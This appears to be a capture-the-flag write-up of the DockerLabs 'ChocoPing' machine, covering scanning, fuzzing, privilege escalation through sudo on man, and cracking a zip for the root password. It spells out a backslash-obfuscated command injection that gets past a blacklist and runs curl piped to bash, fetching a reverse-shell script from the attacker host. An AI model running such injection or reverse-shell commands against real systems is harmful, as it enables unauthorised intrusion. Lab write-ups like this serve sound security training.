> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/medium/chocoping.md).

# ChocoPing

## 1 - Reconnaissance <a href="#docs-internal-guid-6df2e5c5-7fff-85ae-2498-9e514aac2bc9" id="docs-internal-guid-6df2e5c5-7fff-85ae-2498-9e514aac2bc9"></a>

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 80 is open.**

## 2 - Enumeration <a href="#docs-internal-guid-1c1a7a47-7fff-cf5b-ff63-c0274c7bacd5" id="docs-internal-guid-1c1a7a47-7fff-cf5b-ff63-c0274c7bacd5"></a>

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 80 -sS -Pn -sCV`

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FzEbBAvRjKvdaX0NvMelT%2Funknown.png?alt=media&amp;token=651d4ef4-2560-4f64-8c2b-1fc06afb8e91" alt=""><figcaption></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () { 
ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt 
}
```

we ran `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

![](https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FRnqcjLUw49Wf2qrwXAHB%2Funknown.png?alt=media\&token=772b1a73-b0c2-4331-ad20-b0f0533349e8)

## 3 - Exploitation

We discovered that the website was running a ping on the background, and therefore it must be getting an IP via any parameter, so we decided to fuzz to know which exact parameter was it using:

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FNMyHzLIdXTtS8fBpRWt0%2Funknown.png?alt=media&amp;token=7b423f9e-ca99-478e-b118-c2c38680d8ac" alt=""><figcaption></figcaption></figure>

After finding it was ?ip, we tried to perform command injection, but many commands and operators were blacklisted. After trying different ones, we found that backslash wasn't blacklisted, neither `;` so we abused it:

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FHHvUwhuNMDc9e5G8E8qN%2Funknown.png?alt=media&amp;token=9b4aa21c-9c9a-4e84-9aea-81f7db1bf4a0" alt=""><figcaption></figcaption></figure>

After that, we decided to create a `revshell.sh` and upload it to the target machine. We use this method instead of spawning it directly via command because some operators needed for that reverse shell are blacklisted.

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FDklla6LP6R9M6sYqY9Wm%2Funknown.png?alt=media&amp;token=63e8d30f-42ed-4a72-9a1a-1feee32f7893" alt=""><figcaption></figcaption></figure>

After serving it via `python -m http.server 80` and downloading and executing it via

`c\u\r\l -\s h\t\t\p://\1\7\2.\1\7.\0.\1/\r\e\v\s\h\e\l\l\.\s\h | b\a\s\h` we got our reverse shell, catched by `penelope` :

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FDgZyU3NKUErChNXAdRFz%2Funknown.png?alt=media&amp;token=2fa7ee84-1869-42ae-ac91-e09ac42174d0" alt=""><figcaption></figcaption></figure>

## 4 - Privilege Escalation

After running `sudo -l` we found that user `www-data` has sudo permissions as `balutin` on `/usr/bin/man`. We used a GTFOBins exploit to get a `balutin` shell:

`sudo -u balutin /usr/bin/man man`

![](https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FJc00xY3mgUUkdItJ9RJP%2Funknown.png?alt=media\&token=2c0c4ac3-6479-491b-a4af-1c03f1d6b827)

After that, we found a file on `/home/balutin`, but it was protected with a password, so we exported it to our attacker host to decrypt it:

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2Faigwjlz03gBF9dQiSqyo%2Funknown.png?alt=media&amp;token=8c2957eb-042b-466d-875d-427f190c9e35" alt=""><figcaption></figcaption></figure>

After running `zip2john` and `johntheripper` we cracked the password, and got `traffic.pcap`. We tried to open it with Wireshark but it gave an error, so we ran `strings` on it, getting `root` password:

![](https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FX5XRkj0sdYLZOFz9r7XM%2Funknown.png?alt=media\&token=5fc13946-6abb-44ad-b724-5c5e9306c9c6)
